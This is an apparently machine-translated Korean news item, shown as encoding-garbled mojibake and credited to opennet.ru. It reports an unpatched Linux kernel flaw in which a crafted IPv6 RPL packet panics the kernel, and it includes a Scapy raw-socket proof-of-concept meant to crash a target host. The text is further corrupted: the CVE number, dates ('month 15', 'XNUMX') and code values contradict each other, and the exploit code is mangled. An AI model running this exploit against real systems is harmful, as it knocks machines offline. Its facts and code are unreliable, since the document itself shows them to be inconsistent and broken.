ํน๋ณํ ์ ์๋ IPv0 ํจํท(์ฃฝ์์ ํจํท)์ ์ ์กํ์ฌ ์์คํ ์ ์ค์งํ ์ ์๋ Linux ์ปค๋์ ํจ์น๋์ง ์์(2023์ผ) ์ทจ์ฝ์ (CVE-2156-6)์ ๋ํ ์ ๋ณด๊ฐ ๊ณต๊ฐ๋์์ต๋๋ค. ์ด ๋ฌธ์ ๋ RPL ํ๋กํ ์ฝ(Routing Protocol for Low-Power and Lossy Networks)์ ๋ํ ์ง์์ด ํ์ฑํ๋ ๊ฒฝ์ฐ์๋ง ๋ํ๋๋ฉฐ, ์ด๋ ๋ฐฐํฌํ์์ ๊ธฐ๋ณธ์ ์ผ๋ก ๋นํ์ฑํ๋์ด ์์ผ๋ฉฐ ํจํท ์์ค์ด ๋์ ๋ฌด์ ๋คํธ์ํฌ์์ ์๋ํ๋ ์๋ฒ ๋๋ ์ฅ์น์ ์ฃผ๋ก ์ฌ์ฉ๋ฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ RPL ํ๋กํ ์ฝ ๊ตฌ๋ฌธ ๋ถ์ ์ฝ๋์์ ์ธ๋ถ ๋ฐ์ดํฐ๋ฅผ ์๋ชป ์ฒ๋ฆฌํ์ฌ ์ด์ค์ ์คํจ ๋ฐ ์ปค๋์ด ํจ๋ ์ํ์ ๋น ์ง๋ ๊ฒ์ผ๋ก ์ธํด ๋ฐ์ํฉ๋๋ค. IPv6 RPL ํจํท ํค๋๋ฅผ ํ์ฑํ ๊ฒฐ๊ณผ ์ป์ ๋ฐ์ดํฐ๋ฅผ k_buff(Socket Buffer) ๊ตฌ์กฐ์ฒด์ ๋ฃ์ ๋ CmprI ํ๋๊ฐ 15, Segleft ํ๋๊ฐ 1, CmprE๊ฐ 0์ด๋ฉด 48 -byte ์ฃผ์ ๋ฒกํฐ๊ฐ 528๋ฐ์ดํธ๋ก ์์ถ ํด์ ๋์ด ๋ฒํผ์ ํ ๋น๋ ๋ฉ๋ชจ๋ฆฌ๊ฐ ๋ถ์กฑํ ์ํฉ์ ๋๋ค. ์ด ๊ฒฝ์ฐ ๋ฐ์ดํฐ๋ฅผ ๊ตฌ์กฐ๋ก ํธ์ํ๋ ๋ฐ ์ฌ์ฉ๋๋ skb_push ํจ์๋ ๋ฐ์ดํฐ์ ๋ฒํผ์ ๋ถ๊ท ํํ ํฌ๊ธฐ์ ๋ํ ๊ฒ์ฌ๋ฅผ ์คํํ์ฌ ๋ฒํผ ๋ฎ์ด์ฐ๊ธฐ๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด ํจ๋ ์ํ๋ฅผ ์์ฑํฉ๋๋ค.
์ต์คํ๋ก์ ์: # Scapy๋ฅผ ์ฌ์ฉํ์ฌ scapy.all์์ ํจํท์ ์ ์ํฉ๋๋ค. import * import socket # LAN ์ธํฐํ์ด์ค์์ IPv6๋ฅผ ์ฌ์ฉํฉ๋๋ค. DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # ์์ผ์ ์ฌ์ฉํ์ฌ ํจํท์ ๋ณด๋ ๋๋ค. sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # ํจํท ์์ฑ # Type = 3์ ์ด๊ฒ์ RPL ํจํท์ผ๋ก ๋ง๋ญ๋๋ค. ์์ถ๋ ์ฃผ์๋ก ์ทจ๊ธ # Segleft = 3 ์ฆํญ ํธ๋ฆฌ๊ฑฐ # lastentry = 15xf1์ CmprI๋ฅผ 0๋ก, CmprE๋ฅผ 0์ผ๋ก ์ค์ ํฉ๋๋ค. :", "a15::", "a0::"], segleft=6, lastentry=6xf3) # ์ด ์ฌ์ ํ ํจํท์ ๋ณด๋ ๋๋ค. sockfd.sendto(bytes(p), (DST_ADDR, 8))
์ปค๋ ๊ฐ๋ฐ์๋ 2022๋ 15์์ ์ทจ์ฝ์ ์ ํต๋ณด๋ฐ์๊ณ ์ง๋ 2022๊ฐ์ ๋์ 2022๋ 2023์, XNUMX๋ XNUMX์, XNUMX๋ XNUMX์์ ํจ์น๋ฅผ ๋ฆด๋ฆฌ์คํ์ฌ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๋ ค๊ณ ์ธ ๋ฒ ์๋ํ์ง๋ง ๋งค๋ฒ ์์ ์ด ๋์ง ์์์ต๋๋ค. ์ถฉ๋ถํ๊ณ ์ทจ์ฝ์ ์ด ์ฌํ๋ ์ ์์์ต๋๋ค. ๊ถ๊ทน์ ์ผ๋ก ์ทจ์ฝ์ ์ ๊ฑฐ ์์ ์ ์กฐ์ ํ ZDI ํ๋ก์ ํธ๋ ์ปค๋์ ์๋ํ๋ ํจ์น๊ฐ ๋ํ๋ ๋๊น์ง ๊ธฐ๋ค๋ฆฌ์ง ์๊ณ ์ทจ์ฝ์ ์ ๋ํ ์์ธํ ์ ๋ณด๋ฅผ ๊ณต๊ฐํ๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค.
๋ฐ๋ผ์ ์ทจ์ฝ์ ์ ์์ง ํจ์น๋์ง ์์์ต๋๋ค. 6.4-rc2 ์ปค๋์ ํฌํจ๋ ํจ์น๋ฅผ ํฌํจํ๋ ๊ฒ์ ํจ๊ณผ์ ์ด์ง ์์ต๋๋ค. ์ฌ์ฉ์๋ ์์คํ
์์ RPL ํ๋กํ ์ฝ์ด ์ฌ์ฉ๋๊ณ ์์ง ์์์ง ํ์ธํ๋ ๊ฒ์ด ์ข์ต๋๋ค. ์ด๋ sysctl -a | grep -i rpl_seg_enabled
์ถ์ฒ : opennet.ru